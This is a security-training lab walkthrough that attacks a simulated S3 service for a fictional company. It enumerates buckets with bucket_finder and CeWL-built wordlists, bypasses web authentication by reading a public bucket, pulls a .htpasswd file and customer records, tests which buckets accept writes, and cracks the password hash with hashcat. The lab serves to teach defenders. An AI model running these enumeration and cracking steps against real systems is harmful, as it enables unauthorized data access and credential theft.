Lab 3.5: Cloud Bucket Discovery
Brief Intro
In this lab, you will use the simulated cloud environment to identify and assess the threat of misconfigured cloud storage buckets.
Requirements for This Lab
In this lab you will use your Slingshot Linux VM. Make sure the VM is running before continuing with this lab exercise.
Try It Yourself
Run gos3 to setup the target environment. Navigate to www.falsimentis.com to identify S3 bucket services linked to the website. Manually interact with the simulated cloud service using the AWS command line tool and bucket_finder. Generate bucket name lists using the files in ~/labs/s3, as well as the output of a wordlist generated by CeWL by crawling www.falsimentis.com.
Walkthrough
Overview
In this lab, you will use your Slingshot Linux VM to attack a simulated AWS S3 cloud storage bucket service. You will use different techniques to identify the presence of cloud storage bucket services, interacting with these endpoints to enumerate access and access sensitive data disclosed in the cloud service.
Identifying insecure cloud buckets is surprisingly straightforward. The majority of the effort involved for an attacker is the creative generation of bucket name lists to identify insecure buckets, which will make up the majority of the steps in this exercise.
Open a Terminal
From the Slingshot Linux VM, open a terminal.
Start the Simulated Cloud Service
From the Slingshot Linux terminal, run gos3 to launch the simulated cloud environment, as shown here.
sec504@slingshot:~/labs$ gos3 Starting Docker service ..... Done. Starting container instance for www.falsimentis.com 791093fe3513cd0597ed76a2f22824934581c11b91d86bab81d4fe25a7a98508 Starting container instance for s3.amazonaws.com d9970f06ac9a9e4183af0472bb22cbdf145989118f5ca46273f7683c125dd41f
Examine AWS Credentials
We have preconfigured Slingshot Linux with simulated AWS credentials. From your terminal, display the contents of the ~/.aws/credentials file, as shown here.
sec504@slingshot:~$ cat ~/.aws/credentials [default] aws_access_key_id = AKIAJQHVNFNMLINIZY6C aws_secret_access_key = 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
The credentials here do not represent special access to the cloud S3 service; like an attacker would have, these credentials represent AWS access for their own services. In the lab we will use these credentials to also access other S3 services for public endpoints.
Make a Bucket
First, let's take a look at how we can interact with AWS S3 services using the AWS command line tool aws. The AWS command line tool allows users to interact with S3 buckets similar to how we work with local file systems. You can use the aws utility with the s3 argument to specify an S3 operation such as creating a bucket (mb), listing files (ls), copying files (cp), moving files (mv) and more.
First, create a new bucket called mybucket running the AWS command line tool as shown here.
sec504@slingshot:~$ aws s3 mb s3://mybucket make_bucket failed: s3://mybucket An error occurred (BucketAlreadyExists) when calling the CreateBucket operation: The requested bucket name is not available. The bucket namespace is shared by all users of the system. Please select a different name and try again.
The aws command breaks down as follows:
aws: Run the AWS command line tools3: Tell the AWS command line tool to interact with S3 cloud storage bucket servicesmb: Run the make bucket S3 operations3://mybucket: Specify that the bucket should be created using the S3 URI prefixs3://with the bucket namemybucket
When we run this command we receive an error message that the bucket mybucket already exists. This illustrates an important concept when working with cloud bucket storage services: the bucket namespace is shared by all users. In other words, the name of buckets must be globally unique for cloud storage services. You cannot have two buckets called mybucket even if owned by different people; all S3 bucket names must be globally unique.
Re-run the prior command, this time changing the name of your bucket to mybucket2, as shown here:
sec504@slingshot:~$ aws s3 mb s3://mybucket2 make_bucket: mybucket2
Here we are able to create the bucket mybucket2 because there is no name conflict (e.g. mybucket2 does not exist, so the first person to create it gets to have that bucket name).
Upload a File to the Bucket
Next we'll upload a file to store in the new S3 bucket. First, create a text file that includes the output of the ps -ef command by redirecting the command to a file named pslist.txt, as shown here.
sec504@slingshot:~$ ps -ef > pslist.txt sec504@slingshot:~$
Note: The content of the file isn't important; we just need a file to try and copy to the S3 bucket.
Next, copy the file from the local file system to the S3 bucket, as shown here.
sec504@slingshot:~$ aws s3 cp pslist.txt s3://mybucket2/ upload: ./pslist.txt to s3://mybucket2/pslist.txt
The aws command breaks down as follows:
aws: Run the AWS command line tools3: Tell the AWS command line tool to interact with S3 cloud storage bucket servicescp: Run the copy S3 operationpslist.txt: Copy thepslist.txtfile; this is the sources3://mybucket2: Copy to the S3 bucket s3://mybucket2/; this is the destination
Note: For the destination URI, we included a trailing slash
/; this is not required since the copy procedure will add one automatically, but it helps to illustrate that the target S3 URI can be a bucket name by itself, or it can be a complete file path (e.g., you could specify a target URI of s3://mybucket2/dir1/dir2/pslist.txt and the S3 service will create the appropriate directories automatically.
List the Bucket
Next, list the bucket to see the copied file, as shown here.
sec504@slingshot:~$ aws s3 ls s3://mybucket2 2021-05-29 11:59:22 12627 pslist.txt
The aws command breaks down as follows:
aws: Run the AWS command line tools3: Tell the AWS command line tool to interact with S3 cloud storage bucket servicesls: Run the list S3 operations3://mybucket2: Specify the target bucket to list as s3://mybucket2/
Success!
Note: The
awscommand has other features as well. To learn more about the AWS command line tool and the S3 bucket features you can examine the built-in documentation by runningaws s3 help.
Next, we'll apply what we've learned to evaluate the S3 buckets used by Falsimentis Corporation.
Reconnaissance Analysis
As we saw in book 2 of our class material, attackers will start with reconnaissance analysis to collect information about a target organization prior to delivering an attack. This also applies to cloud systems, where attackers can often gain insight about cloud infrastructure in use by visiting websites used by the target organization.
From Slingshot Linux, open Firefox by clicking Applications | Internet | Firefox Web Browser. Navigate to the Falsimentis website at http://www.falsimentis.com.
From the main website page, navigate to the About link. Scroll to the section titled Meet Our CEO, and move your pointer over the Download Company Profile button, as shown here.
Notice how the link to the company profile uses a different URL: http://www.falsimentis.com.s3.amazonaws.com/company-profile.pdf.
Many websites will use cloud bucket storage services to offload the distribution of static assets to a cloud provider, or use the bucket to host the website static pages. For AWS, buckets can be configured such that visiting bucketname.s3.amazonaws.com will allow for public access to the S3 bucket. In the case of the Falsimentis website, the link to www.falsimentis.com.s3.amazonaws.com reveals the presence of an S3 bucket named www.falsimentis.com.
Access the Bucket www.falsimentis.com: List /
Having discovered the presence of an S3 bucket supporting the Falsimentis website, we can attempt to access the bucket using the AWS command line tool. Return to your terminal and attempt to list the contents of the www.falsimentis.com bucket, as shown here.
sec504@slingshot:~$ aws s3 ls s3://www.falsimentis.com
PRE about/
PRE author/
PRE categories/
PRE contact/
PRE images/
PRE js/
PRE message_sent/
PRE plugins/
PRE protected/
PRE scss/
PRE tags/
PRE team/
2021-05-29 12:25:31 656 .htaccess
2021-05-29 12:25:31 5303 404.html
2021-05-29 12:25:31 3484599 company-profile.pdf
2021-05-29 12:25:32 11637 index.html
2021-05-29 12:25:32 1515 sitemap.xml
Here we see that the AWS command line tool is able to access the www.falsimentis.com bucket, revealing to us that the bucket is configured for public access. On the surface, this may seem obvious, since it appears that the www.falsimentis.com bucket is also used to host the company website (judging by the index.html and other web server files). However, access to the website through the S3 service can reveal additional files and access not available by browsing to the website.
In this output we see several protected, including one labeled protected. Next we'll examine the protected directory.
Browse to Protected Directory
Return to Firefox and navigate to the http://www.falsimentis.com/protected directory, as shown here.
When we try to access the www.falsimentis.com/protected endpoint we are asked to authenticate to the system. Here we learn that the web administrator is trying to protect access to the server, requiring a username and password to access the resource. However, our S3 access using the AWS command line utility does not access the server using the same HTTP access mechanism that Firefox uses, allowing us to circumvent this control.
Access the Bucket www.falsimentis.com: List /protected
Return to your terminal. Re-run the prior aws s3 command to access the /protected folder, as shown here.
sec504@slingshot:~$ aws s3 ls s3://www.falsimentis.com/protected/ 2021-05-29 12:25:32 47 .htpasswd 2021-05-29 12:25:32 14022 sales-status.json
Note: The trailing
/in the S3 URI is necessary to examine the contents of the directory, not just the directory itself.
Here we see the contents of the protected directory, disclosing the .htpasswd file (the server file used to store the username and password information to access the protected portion of the website) and a JSON file, sales-status.json.
Note: We are able to access these files because we are bypassing the web server where access to the /protected directory requires authentication; because the web server content is stored in a public S3 bucket, we are able to access the files and circumvent the web server authentication requirement.
Access the Bucket www.falsimentis.com: Download /protected
Next, download the contents of the web server /protected directory using the sync command, as shown here.
sec504@slingshot:~$ aws s3 sync s3://www.falsimentis.com/protected/ protected/ download: s3://www.falsimentis.com/protected/sales-status.json to protected/sales-status.json download: s3://www.falsimentis.com/protected/.htpasswd to protected/.htpasswd
The aws command breaks down as follows:
aws: Run the AWS command line tools3: Tell the AWS command line tool to interact with S3 cloud storage bucket servicessync: Run the sync S3 operation (synchronize all files between the S3 bucket and the local file system)s3://www.falsimentis.com/protected/: Synchronize the contents of the files in the S3 endpoint specified (the/protecteddirectory)protected/: Synchronize the files to the local file system in theprotecteddirectory
After a few seconds the synchronize command will complete. List all of the files in the protected directory, as shown here
sec504@slingshot:~$ ls -a ~/protected . .. .htpasswd sales-status.json
Success! You have retrieved the protected files from the www.falsimentis.com web server, bypassing the HTTP authentication requirement.
Bucket Discovery with bucket_finder: Short List
In the www.falsimentis.com bucket example, we identified the S3 bucket through the PDF link on the main website. Attackers can also use bucket name guessing attacks to discover buckets as well. In the remainder of the lab we'll use the bucket_finder tool by Robin Wood to identify public and private S3 buckets in our simulated cloud. This process can also be applied to Azure Blob storage and Google Compute Buckets as well by using bucket discovery tools designed for those cloud platforms.
When using a bucket name guessing tool, an attacker will supply a list of bucket names, and the tool will attempt to discover if the name exists as a bucket, and evaluate the security associated with the bucket as well. Let's start with a small example. First, display the contents of the ~/labs/s3/shortlist.txt file using cat, as shown here.
sec504@slingshot:~$ cat ~/labs/s3/shortlist.txt mybucket mybucket2 sans
This file has only three bucket names: mybucket (a bucket that we know already exists), mybucket2 (the bucket you created), and sans (we don't yet know if this bucket exists). Run the bucket_finder.rb script, specifying the list of buckets as the only command line argument, as shown here.
sec504@slingshot:~$ bucket_finder.rb ~/labs/s3/shortlist.txt Bucket found but access denied: mybucket Bucket found but access denied: mybucket2 Bucket does not exist: sans
In this output we see that the tool has correctly reported that mybucket and mybucket2 exist, and that the bucket sans does not exist.
Note that bucket_finder indicates that mybucket2 returns access denied when the tool tries to list the files in the bucket. This is another important concept to understand: the bucket discovery tools do not use the permissions of your user account to enumerate buckets; they only use public access methods to determine if the buckets exist, and attempt to retrieve data from accessible buckets.
Knowing that bucket_finder will use the list of bucket names supplied, we can continue to expand our bucket discovery process by using a longer list of bucket names.
Bucket Discovery with bucket_finder: Longer Bucket List
Repeat the attack using bucker_finder, this time using a longer list of bucket names supplied in ~/labs/s3/bucketlist.txt. Save the output of bucket_finder to a file named bucketlist1.txt using the tee command, as shown here.
sec504@slingshot:~$ wc -l ~/labs/s3/bucketlist.txt 1543 /home/sec504/labs/s3/bucketlist.txt sec504@slingshot:~$ bucket_finder.rb ~/labs/s3/bucketlist.txt | tee bucketlist1-output.txt Bucket does not exist: 3com Bucket does not exist: a.auth-ns Bucket does not exist: a01 Bucket does not exist: a02 Bucket does not exist: abc Bucket does not exist: about Bucket does not exist: academico ... Bucket does not exist: zebra Bucket does not exist: zera Bucket does not exist: zeus Bucket does not exist: zlog Bucket does not exist: zulu
The bucket_finder.rb command breaks down as follows:
bucket_finder.rb: Run the bucket_finder tool~/labs/s3/bucketlist.txt: Test each line in the file as a possible bucket| tee: Pipe the output from bucket_finder totee, which will display the output and save to a filebucketlist1-output.txt: Save the duplicate output of bucket_finder to the filebucketlist1-output.txt
When running the bucket_finder tool you will see the message Bucket does not exist: ... repeat often. The tool tests so many buckets that you can easily miss output that indicates the discovery of actual buckets.
To eliminate the messages where a bucket was not identified, assess the bucketlist1s.txt file using grep, as shown here:
sec504@slingshot:~$ grep -v "does not exist" bucketlist1-output.txt
Bucket found but access denied: certificates
Bucket found but access denied: cust
Bucket found but access denied: dev
Bucket Found: movies ( http://s3.amazonaws.com/movies )
http://s3.amazonaws.com/movies/movies.json
Bucket found but access denied: prod
Bucket found but access denied: www
By filtering the results to show lines that do not match does not exist, we see more meaningful results. Here we learn about the presence of 5 new S3 buckets. Four the buckets are private, but the movies bucket also appears to be publicly accessible. Bucket_finder will display a list of the files in the bucket when it discovers a public bucket, allowing us to discover the presence of the movies.json file in the bucket.
For cloud bucket discovery, an attacker can use a list of bucket names, and identify the buckets that exist, and those that exist and are publicly accessible. While useful, this is a non-targeted attack; the buckets identified do not necessarily belong to Falsimentis Corporation. To improve the results of the search, while targeting Falsimentis Corporation, we will need to create a custom list of bucket names to test.
Create a Custom Wordlist
To create a custom list of bucket names, we will use the company name as a possible bucket prefix (falsimentis), appending common bucket suffixes in the file ~/labs/s3/permutations.txt. Examine the first few lines of this file, then generate the custom list using Awk, as shown here.
sec504@slingshot:~$ head ~/labs/s3/permutations.txt
001
002
003
01
02
03
0
1
2
2014
sec504@slingshot:~$ wc -l ~/labs/s3/permutations.txt
202 /home/sec504/labs/s3/permutations.txt
sec504@slingshot:~$ awk '{print "falsimentis-" $1}' ~/labs/s3/permutations.txt > bucketlist2.txt
The awk command breaks down as follows:
awk: Run theawkcommand'{print "falsimentis-" $1}': The Awk program within single quotes and curly brackets; print the string"falsimentis-"as the prefix before the first column of each line in the file ($1); thisprintcommand repeats for each line in the specified file~/labs/s3/permutations.txt: The specified file that is used to substitute each line with the$1marker in the Awk program> bucketlist2.txt</b>: Redirect the output of the Awk programprintstatement to the specified file
We can verify that the Awk command ran correctly by examining the output file contents, and counting the number of lines in the program, as shown here.
sec504@slingshot:~$ head bucketlist2.txt falsimentis-001 falsimentis-002 falsimentis-003 falsimentis-01 falsimentis-02 falsimentis-03 falsimentis-0 falsimentis-1 falsimentis-2 falsimentis-2014 sec504@slingshot:~$ wc -l bucketlist2.txt 202 bucketlist2.txt
We can confirm that the bucketlist2.txt file is complete by examining the first few lines with head to ensure the formatting is correct, and by matching the number of lines using wc -l to the permutations.txt file.
Bucket Discovery with bucket_finder: Custom List
Repeat the bucket_finder attack, this time using the bucketlist2.txt file, as shown here.
sec504@slingshot:~$ bucket_finder.rb bucketlist2.txt | tee bucketlist2-output.txt Bucket does not exist: falsimentis-001 Bucket does not exist: falsimentis-002 Bucket does not exist: falsimentis-003 Bucket does not exist: falsimentis-01 Bucket does not exist: falsimentis-02 Bucket does not exist: falsimentis-03 ... sec504@slingshot:~$ grep -v "does not exist" bucketlist2-output.txt Bucket found but access denied: falsimentis-eng
Here we have discovered a new bucket, this time likely one that is used by Falsimentis named falsimentis-eng. This bucket is also protected though, preventing us from accessing it.
Next we'll try another technique to build a custom wordlist: CeWL website crawling.
Bucket Discovery with bucket_finder: CeWL list
CeWL is a custom wordlist generator, also written by Robin Wood. CeWL crawls a target website and extracts keywords from the website content and document metadata to produce a wordlist. This is useful for an attacker since it will include keywords relating to company projects, products, and other vocabulary.
Run CeWL against the www.falsimentis.com website, as shown here.
sec504@slingshot:~$ /opt/cewl/cewl.rb -m 2 -w cewl-output.txt http://www.falsimentis.com CeWL 5.5.0 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
The cewl.rb command breaks down as follows:
/opt/cewl/cewl.rb: Launch the CeWL utility-m 2: Specify the minimum word length of 2 characters (default is 3; reducing the length to 2 characters is useful for creating bucket prefix/suffix lists)-w cewl-output.txt: Write the collected keywords to the named filehttp://www.falsimentis.com: Crawl the www.falsimentis.com site for content (default: spider up to 2 links deep on the site)
Amazon S3 bucket names can only be lowercase letters, numbers, dots or hyphens. To make the CeWL wordlist useful, convert each of the uppercase letters to lowercase using the tr utility, as shown here.
sec504@slingshot:~$ cat cewl-output.txt | tr [:upper:] [:lower:] > cewl-wordlist.txt sec504@slingshot:~$
The command breaks down as follows:
cat cewl-output.txt |: Retrieve the contents of thecewl-output.txtfile, sending it to the unnamed pipetr [:upper:] [:lower:]: Use thetrtool, converting all uppercase letters to lowercase letters> cewl-wordlist.txt: Redirect thetroutput to the filecewl-wordlist.txt
Bucket Discovery with bucket_finder: CeWL List
Repeat the bucket_finder attack again, this time using the CeWL wordlist cewl-wordlist.txt as a list of suffixes for the bucket prefix falsimentis-.
Question: What is the name of the Falsimentis bucket that discloses engineering diagrams?
Click To See Hint: Wordlist Generation
To create the custom bucket name list with the CeWL suffixes, use the Awk command, as shown here.
sec504@slingshot:~$ awk '{print "falsimentis-" $1}' cewl-wordlist.txt > bucketlist3.txt
sec504@slingshot:~$
Click To See Hint: Bucket Discovery
Repeat the bucket_finder attack, this time using the bucketlist3.txt file, as shown here.
sec504@slingshot:~$ bucket_finder.rb bucketlist3.txt | tee bucketlist3-output.txt sec504@slingshot:~$ head bucketlist3-output.txt Bucket does not exist: falsimentis-to Bucket does not exist: falsimentis-falsimentis Bucket does not exist: falsimentis-the Bucket does not exist: falsimentis-contact Bucket does not exist: falsimentis-officer Bucket does not exist: falsimentis-and ...
Click To See Solution
Using the results from bucket_finder, exclude the lines that contain the string "does not exist", as shown here.
sec504@slingshot:~$ grep -v "does not exist" bucketlist3-output.txt
Bucket Found: falsimentis-ai ( http://s3.amazonaws.com/falsimentis-ai )
http://s3.amazonaws.com/falsimentis-ai/4001-composite-photo.jpg
http://s3.amazonaws.com/falsimentis-ai/4001-masks-composite.jpg
http://s3.amazonaws.com/falsimentis-ai/4002-masks-composite.jpg
http://s3.amazonaws.com/falsimentis-ai/4003-masks-composite.jpg
http://s3.amazonaws.com/falsimentis-ai/4004-composite-photo.jpg
http://s3.amazonaws.com/falsimentis-ai/4004-masks-composite.jpg
http://s3.amazonaws.com/falsimentis-ai/i4001-schematic.gif
http://s3.amazonaws.com/falsimentis-ai/i4002-schematic.gif
http://s3.amazonaws.com/falsimentis-ai/i4003-schematic.gif
http://s3.amazonaws.com/falsimentis-ai/i4004-schematic.gif
Bucket found but access denied: falsimentis-eng
Using the third bucket list generated from the CeWL data we discover a new bucket falsimentis-ai, which includes several image files. Since these files are publicly accessible, you can download them using the AWS command line tool, or browse to the disclosed URLs in Firefox to see the engineering schematics.
Bonus (If Time Permits or Homework)
There are several opportunities to continue learning and experimenting with S3 buckets and the data disclosed in public buckets in this lab exercise.
Additional Public Falsimentis Bucket
Use the CeWL data to discover another public bucket used by Falsimentis.
Question: What is the yet-undiscovered Falsimentis bucket name disclosing several images?
Click To See Hint: Bucket List Permutation
In the previous Awk commands, we generated bucket lists using falsimentis- as a prefix, followed by the CeWL keywords. Bucket names may include the company name and a hyphen as a prefix, but they may also be used with suffixes or different separators (AWS S3 buckets can use a dot, or a hyphen, or no separator at all).
Consider additional opportunities to build a new bucket name list, combining the CeWL data with prefixes, suffixes, and different separators.
Click To See Hint: Bucket List Generation with Awk
Use the following Awk commands to build a large list of bucket names, applying different techniques for forming the bucket name using the CeWL data, as shown here. Note the use of >> to append the output of Awk to the file.
sec504@slingshot:~$ awk '{print "falsimentis." $1}' cewl-wordlist.txt >> bucketlist4.txt
sec504@slingshot:~$ awk '{print "falsimentis" $1}' cewl-wordlist.txt >> bucketlist4.txt
sec504@slingshot:~$ awk '{print $1 "-falsimentis"}' cewl-wordlist.txt >> bucketlist4.txt
sec504@slingshot:~$ awk '{print $1 ".falsimentis"}' cewl-wordlist.txt >> bucketlist4.txt
sec504@slingshot:~$ awk '{print $1 "falsimentis"}' cewl-wordlist.txt >> bucketlist4.txt
sec504@slingshot:~$ wc -l bucketlist4.txt
2585 bucketlist4.txt
In this example I have not created a list of words with falsimentis-WORD since we already tested that permutation in bucketlist3.txt.
Click To See Answer
Use the bucketlist4.txt file to identify any new Falsimentis buckets, as shown here.
sec504@slingshot:~$ bucket_finder.rb bucketlist4.txt | tee bucketlist4-output.txt
...
sec504@slingshot:~$ grep -v "does not exist" bucketlist4-output.txt
Bucket Found: cats-falsimentis ( http://s3.amazonaws.com/cats-falsimentis )
http://s3.amazonaws.com/cats-falsimentis/cat-1045782_1920.jpg
http://s3.amazonaws.com/cats-falsimentis/cat-1151519_1920.jpg
http://s3.amazonaws.com/cats-falsimentis/cat-1192026_1920.jpg
http://s3.amazonaws.com/cats-falsimentis/cat-1246659_1920.jpg
...
Answer: Falsimentis has another bucket named cats-falsimentis with pictures of cats.
Writable Bucket
In this exercise we identified several S3 buckets, some of which are publicly accessible. While Bucket_finder is useful to identify these buckets, it does not tell us if the buckets are also writable.
Question: Of all the identified buckets, which ones are writable?
Exclude the mybucket2 bucket from your analysis.
Click To See Hint: Bucket Write Test
A cloud storage bucket can be publicly writable independent of other policy settings. To test if a bucket is writable, first determine if it exists using bucket_finder, then try to copy any file to the bucket using the AWS command line tool, as shown here.
sec504@slingshot:~$ aws s3 cp pslist.txt s3://www/ upload failed: ./pslist.txt to s3://www/pslist.txt An error occurred (AccessDenied) when calling the PutObject operation: Access Denied.
Here we see the copy operation files since the bucket is not writable. We can apply this same technique to other buckets as well.
Click To See Answer
To answer this question, repeat the copy operation using the AWS command line tool for other bucket names discovered in this lab exercise, as shown here.
sec504@slingshot:~$ aws s3 cp pslist.txt s3://www upload failed: ./pslist.txt to s3://www/pslist.txt An error occurred (NoSuchBucket) when calling the PutObject operation: The specified bucket does not exist sec504@slingshot:~$ aws s3 cp pslist.txt s3://certificates upload failed: ./pslist.txt to s3://certificates/pslist.txt An error occurred (AccessDenied) when calling the PutObject operation: Access Denied. sec504@slingshot:~$ aws s3 cp pslist.txt s3://cust upload failed: ./pslist.txt to s3://cust/pslist.txt An error occurred (AccessDenied) when calling the PutObject operation: Access Denied. sec504@slingshot:~$ aws s3 cp pslist.txt s3://dev upload failed: ./pslist.txt to s3://dev/pslist.txt An error occurred (AccessDenied) when calling the PutObject operation: Access Denied. sec504@slingshot:~$ aws s3 cp pslist.txt s3://movies upload failed: ./pslist.txt to s3://movies/pslist.txt An error occurred (AccessDenied) when calling the PutObject operation: Access Denied. sec504@slingshot:~$ aws s3 cp pslist.txt s3://prod upload failed: ./pslist.txt to s3://prod/pslist.txt An error occurred (AccessDenied) when calling the PutObject operation: Access Denied. sec504@slingshot:~$ aws s3 cp pslist.txt s3://falsimentis-eng upload failed: ./pslist.txt to s3://falsimentis-eng/pslist.txt An error occurred (AccessDenied) when calling the PutObject operation: Access Denied. sec504@slingshot:~$ aws s3 cp pslist.txt s3://falsimentis-ai upload: ./pslist.txt to s3://falsimentis-ai/pslist.txt sec504@slingshot:~$ aws s3 cp pslist.txt s3://www.falsimentis.com/ upload: ./pslist.txt to s3://www.falsimentis.com/pslist.txt
Answer: The www.falsimentis.com and the falsimentis-ai buckets are publicly readable, and writable.
Final Falsimentis Bucket with Customer Data
Identify one final publicly-accessible Falsimentis bucket that discloses customer data.
Question: How many customer records are disclosed in the Falsimentis customer data bucket?
Click To See Hint: Wordlist Generation
There are several opportunities to identify the final Falsimentis bucket. The question offers a hint by disclosing this as a customer data bucket, which may bring to mind bucket prefixes and suffixes such as cust and customer. Alternatively, you can use Awk to generate another permutation bucket name list, this time using the original ~/labs/s3/bucketlist.txt list of buckets as a new set of prefixes and suffixes to experiment with, as shown here.
sec504@slingshot:~$ awk '{print "falsimentis-" $1}' ~/labs/s3/bucketlist.txt >> bucketlist5.txt
sec504@slingshot:~$ awk '{print "falsimentis." $1}' ~/labs/s3/bucketlist.txt >> bucketlist5.txt
sec504@slingshot:~$ awk '{print "falsimentis" $1}' ~/labs/s3/bucketlist.txt >> bucketlist5.txt
sec504@slingshot:~$ awk '{print $1 "-falsimentis"}' ~/labs/s3/bucketlist.txt >> bucketlist5.txt
sec504@slingshot:~$ awk '{print $1 ".falsimentis"}' ~/labs/s3/bucketlist.txt >> bucketlist5.txt
sec504@slingshot:~$ awk '{print $1 "falsimentis"}' ~/labs/s3/bucketlist.txt >> bucketlist5.txt
sec504@slingshot:~$ wc -l bucketlist5.txt
9264 bucketlist5.txt
Click To See Hint: Bucket Discovery
Use the new list of bucket names to search for the Falsimentis customer bucket, as shown here.
sec505@slingshot:~$ bucket_finder.rb bucketlist5.txt | tee bucketlist5-output.txt
...
sec504@slingshot:~$ grep -v "does not exist" bucketlist5-output.txt
Bucket Found: falsimentis-cust ( http://s3.amazonaws.com/falsimentis-cust )
http://s3.amazonaws.com/falsimentis-cust/customer-pipeline-Q3.json
Bucket found but access denied: falsimentis-eng
Here we see the name of the final Falsimentis bucket, falsimentis-cust.
Click To See Hint: Data Retrieval
Bucket_finder reveals that the bucket has a single file named customer-pipeline-Q3.json. Retrieve the file using the AWS command line tool, as shown here.
sec504@slingshot:~$ aws s3 cp s3://falsimentis-cust/customer-pipeline-Q3.json . download: s3://falsimentis-cust/customer-pipeline-Q3.json to ./customer-pipeline-Q3.json
Here the trailing . indicates that the file should be copied to the current directory on the local system.
Click To See Hint: Data Analysis
The customer-pipeline-Q3.json file is a list of JSON records, formatted as a single line of text, as shown here.
sec504@slingshot:~$ ls -l customer-pipeline-Q3.json -rw-rw-r-- 1 sec504 sec504 78712 May 30 11:56 customer-pipeline-Q3.json sec504@slingshot:~$ wc -l customer-pipeline-Q3.json 1 customer-pipeline-Q3.json
It is fairly common for JSON files to be encoded as a single line, since JSON does not need line terminators to convey data. Reading the file with cat will display all of the data as a single line, which makes it difficult to evaluate the data. Instead, we can use JQ to examine the data structure, as shown here.
sec504@slingshot:~$ jq "." customer-pipeline-Q3.json | head
[
{
"id": "aecaeae3-6eeb-407b-add3-9196052712f5",
"first_name": "Ogdan",
"last_name": "Gracewood",
"company": "Turcotte-Lubowitz",
"phone": "121-116-5709",
"btc": "13xyMCYzAaWdHv7G5fUCn7CZjcwfjyLvaU"
},
{
By piping the data to head we see the first 10 lines of the decoded data. The data structure can be interpreted as follows.
Click To See Answer
By evaluating the data format with JQ, we see that the JSON file is a collection of customer records in an array. Using JQ, we can count the number of elements in the array using the length function, as shown here.
sec504@slingshot:~$ jq "length" customer-pipeline-Q3.json 421
Answer: There are 421 records disclosed in the Falsimentis customer data bucket.
Protected Access Password Recovery for www.falsimentis.com
In our analysis of the www.falsimentis.com bucket, we observed the /protected directory that disclosed a PDF file. In addition to the PDF file, the .htpasswd file is also accessible. This file stores a password hash used to restrict access to the www.falsimentis.com/protected website.
Question: What is the username and plaintext password that grants access to www.falsimentis.com/protected?
Use the wordlist file /usr/share/wordlists/rockyou.txt on Slingshot Linux to answer this question.
Click To See Hint: Hash Identification
Examine the password hash information using cat, as shown here.
sec504@slingshot:~$ cat ~/protected/.htpasswd lwatsham:$apr1$KYxkC7nP$EcuHm3.iStKpM6P8ix0DN1
Here we see the username is lwatsham, followed by the password hash. Note the dollar-sign separator for the password hash information, similar to that of the standard Linux /etc/shadow file where apr1 is the hash type, KYxkC7nP is the salt, and EcuHm3.iStKpM6P8ix0DN1 is the password hash.
The apr1 identifier is used for Apache-based HTTP digest authentication files. This hash type is MD5 with 1000 iterations to slow down password cracking attacks.
Click To See Hint: Hashcat Hash Type Selection
The apr1 hash prefix is a clue to use with Hashcat to identify the correct hash type to use for password cracking. We can run hashcat -h to see a list of supported hash types, filtering the output with grep, as shown.
sec504@slingshot:~$ hashcat -h | grep apr1 1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server
Here we see that the hash type is 1600.
Click To See Hint: Running Hashcat
When supplying a hash to Hashcat, it expects the hash to be on a line by itself (including the hash type and salt values). If you try to run Hashcat with the .htpasswd file as-is, you will get an error, as shown here.
sec504@slingshot:~$ hashcat -a 0 -m 1600 --force ~/protected/.htpasswd /usr/share/wordlists/rockyou.txt hashcat (v6.1.1) starting... ... Hashfile '/home/sec504/protected/.htpasswd' on line 1 (lwatsh...$KYxkC7nP$EcuHm3.iStKpM6P8ix0DN1): Token length exception No hashes loaded.
The token length exception error is due to the presence of the username preceding the password hash information. By adding the --username argument, we can tell Hashcat to expect this information.
Click To See Answer
Run Hashcat as shown here to recover the password. The password cracking process will take approximately 10-15 minutes on most systems.
sec504@slingshot:~$ hashcat --username -a 0 -m 1600 --force ~/protected/.htpasswd /usr/share/wordlists/rockyou.txt hashcat (v6.1.1) starting... ... $apr1$KYxkC7nP$EcuHm3.iStKpM6P8ix0DN1:hoera1991 Session..........: hashcat Status...........: Cracked Hash.Name........: Apache $apr1$ MD5, md5apr1, MD5 (APR) Hash.Target......: $apr1$KYxkC7nP$EcuHm3.iStKpM6P8ix0DN1 Time.Started.....: Sun May 30 10:36:34 2021 (11 mins, 49 secs) Time.Estimated...: Sun May 30 10:48:23 2021 (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#2.........: 10863 H/s (11.68ms) @ Accel:128 Loops:500 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests Progress.........: 7575296/14344387 (52.81%) Rejected.........: 0/7575296 (0.00%) Restore.Point....: 7575040/14344387 (52.81%) Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:500-1000 Candidates.#2....: hoes4569 -> hoeface22 Started: Sun May 30 10:36:04 2021 Stopped: Sun May 30 10:48:23 2021
Answer: The username and password are lwatsham and hoera1991
Cleanup
Terminate the S3 container services by running the stops3 script, as shown here.
sec504@slingshot:~$ stops3 Stopping Docker containers for Cloud Bucket Discovery lab www s3 Done
Why This Lab Is Important
In this lab we looked at the steps an attacker will take to identify insecure cloud storage buckets. Since all cloud buckets for a given provider must have a globally unique name, an attacker can guess bucket names and then enumerate the privileges for identified buckets.
The tools to discover and enumerate these buckets, bucket_finder and the AWS command line tool, are straightforward to use. The complexity comes from the development of a list of bucket names to use when searching for buckets. Using information observed from a target organization, such as links to cloud services or keywords and metadata retrieved through spidering attacks, an adversary can build lists of keywords to use when searching for buckets. After discovering a bucket, an attacker can use the AWS command line tool to assess the security of the bucket further, determining if the bucket is not only public, but potentially writable as well.
As defenders, it is important for us to understand these concepts, so that we can apply similar techniques to identify vulnerable cloud storage buckets in our own organizations, and to develop policies and audit procedures to ensure that sensitive data is not disclosed in this manner.
Video Walkthrough
Watch the accompanying video instructions for additional information.
Additional Resources
The bug bounty program HackerOne often discloses bounties paid to researchers who identify vulnerable cloud bucket storage services. One interesting example is a bounty paid for the identification of an insecure S3 bucket for Uber. You can also search the HackerOne site for other examples.
In this lab we used a simulated cloud to target services that match the functionality of Amazon S3 buckets. You can perform similar analysis for Google Compute Buckets using GCPBucketBrute, or for Azure Blob Storage using this author's tool, BasicBlobFinder.